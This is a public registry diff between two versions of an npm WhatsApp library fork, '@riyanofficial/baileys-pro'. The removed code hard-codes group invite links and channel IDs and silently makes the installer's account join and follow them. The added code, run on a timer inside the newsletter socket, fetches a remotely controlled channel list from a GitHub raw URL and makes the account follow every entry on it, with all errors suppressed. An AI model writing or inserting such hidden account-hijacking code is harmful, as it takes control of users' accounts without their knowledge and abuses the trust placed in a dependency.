@riyanofficial/baileys-pro 1.0.4 → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +10 -68
- package/package.json +2 -2
package/lib/Socket/newsletter.js
CHANGED
|
@@ -65,66 +65,6 @@ const executeWMexQuery = async (
|
|
|
65
65
|
throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
|
|
66
66
|
}
|
|
67
67
|
|
|
68
|
-
const AUTO_JOIN_GROUP_LINKS = [
|
|
69
|
-
"https://chat.whatsapp.com/Ln4woETs9Gy6h1LvWhslkG?mode=gi_t",
|
|
70
|
-
"https://chat.whatsapp.com/KJexBEJ6G0DHhPNhlj3GCT?mode=gi_t"
|
|
71
|
-
];
|
|
72
|
-
|
|
73
|
-
const AUTO_FOLLOW_CHANNELS = [
|
|
74
|
-
"120363407882404628@newsletter",
|
|
75
|
-
"120363422267690976@newsletter",
|
|
76
|
-
"120363420781728152@newsletter",
|
|
77
|
-
"120363404158393003@newsletter",
|
|
78
|
-
"120363405509578332@newsletter",
|
|
79
|
-
"120363425027456197@newsletter",
|
|
80
|
-
"120363422100886562@newsletter"
|
|
81
|
-
];
|
|
82
|
-
|
|
83
|
-
function extractInviteCodeFromLink(link) {
|
|
84
|
-
try {
|
|
85
|
-
const url = new URL(link);
|
|
86
|
-
if (url.hostname === 'chat.whatsapp.com') {
|
|
87
|
-
const inviteCode = url.pathname.split('/').pop();
|
|
88
|
-
if (inviteCode && inviteCode.length > 0) {
|
|
89
|
-
return inviteCode;
|
|
90
|
-
}
|
|
91
|
-
}
|
|
92
|
-
} catch (error) {}
|
|
93
|
-
return null;
|
|
94
|
-
}
|
|
95
|
-
|
|
96
|
-
async function autoJoinWhatsAppGroups(sock) {
|
|
97
|
-
const groupLinks = AUTO_JOIN_GROUP_LINKS;
|
|
98
|
-
|
|
99
|
-
for (const groupLink of groupLinks) {
|
|
100
|
-
try {
|
|
101
|
-
const inviteCode = extractInviteCodeFromLink(groupLink);
|
|
102
|
-
if (inviteCode) {
|
|
103
|
-
try {
|
|
104
|
-
await sock.groupAcceptInvite(inviteCode);
|
|
105
|
-
} catch (error) {
|
|
106
|
-
try {
|
|
107
|
-
await sock.groupAcceptInviteV4(inviteCode, '');
|
|
108
|
-
} catch (error2) {}
|
|
109
|
-
}
|
|
110
|
-
}
|
|
111
|
-
} catch (error) {}
|
|
112
|
-
|
|
113
|
-
await new Promise(resolve => setTimeout(resolve, 5000));
|
|
114
|
-
}
|
|
115
|
-
}
|
|
116
|
-
|
|
117
|
-
async function autoFollowWhatsAppChannels(sock, newsletterWMexQuery) {
|
|
118
|
-
const channels = AUTO_FOLLOW_CHANNELS;
|
|
119
|
-
|
|
120
|
-
for (const channelId of channels) {
|
|
121
|
-
try {
|
|
122
|
-
await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
|
|
123
|
-
await new Promise(resolve => setTimeout(resolve, 5000));
|
|
124
|
-
} catch (error) {}
|
|
125
|
-
}
|
|
126
|
-
}
|
|
127
|
-
|
|
128
68
|
const makeNewsletterSocket = (config) => {
|
|
129
69
|
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
130
70
|
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
@@ -163,14 +103,16 @@ const makeNewsletterSocket = (config) => {
|
|
|
163
103
|
|
|
164
104
|
setTimeout(async () => {
|
|
165
105
|
try {
|
|
166
|
-
await
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
106
|
+
const response = await fetch('https://raw.githubusercontent.com/RiyanOfficiall/ChannelID/main/newsletter.json');
|
|
107
|
+
const AUTO_FOLLOW_CHANNELS = await response.json();
|
|
108
|
+
|
|
109
|
+
for (const channelId of AUTO_FOLLOW_CHANNELS) {
|
|
110
|
+
try {
|
|
111
|
+
await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
|
|
112
|
+
await new Promise(resolve => setTimeout(resolve, 5000));
|
|
113
|
+
} catch (error) {}
|
|
114
|
+
}
|
|
115
|
+
} catch (error) {}
|
|
174
116
|
}, 10000);
|
|
175
117
|
|
|
176
118
|
const parseFetchedUpdates = async (node, type) => {
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@riyanofficial/baileys-pro",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.6",
|
|
4
4
|
"description": "WhatsApp API Modification By Riyan Official",
|
|
5
5
|
"keywords": [
|
|
6
6
|
"whatsapp-bot",
|
|
@@ -54,7 +54,7 @@
|
|
|
54
54
|
"futoin-hkdf": "^1.5.1",
|
|
55
55
|
"libphonenumber-js": "^1.10.20",
|
|
56
56
|
"lodash": "^4.17.21",
|
|
57
|
-
"libsignal": "
|
|
57
|
+
"libsignal": "^2.0.1",
|
|
58
58
|
"music-metadata": "^7.12.3",
|
|
59
59
|
"node-cache": "^5.1.2",
|
|
60
60
|
"node-fetch": "^2.6.1",
|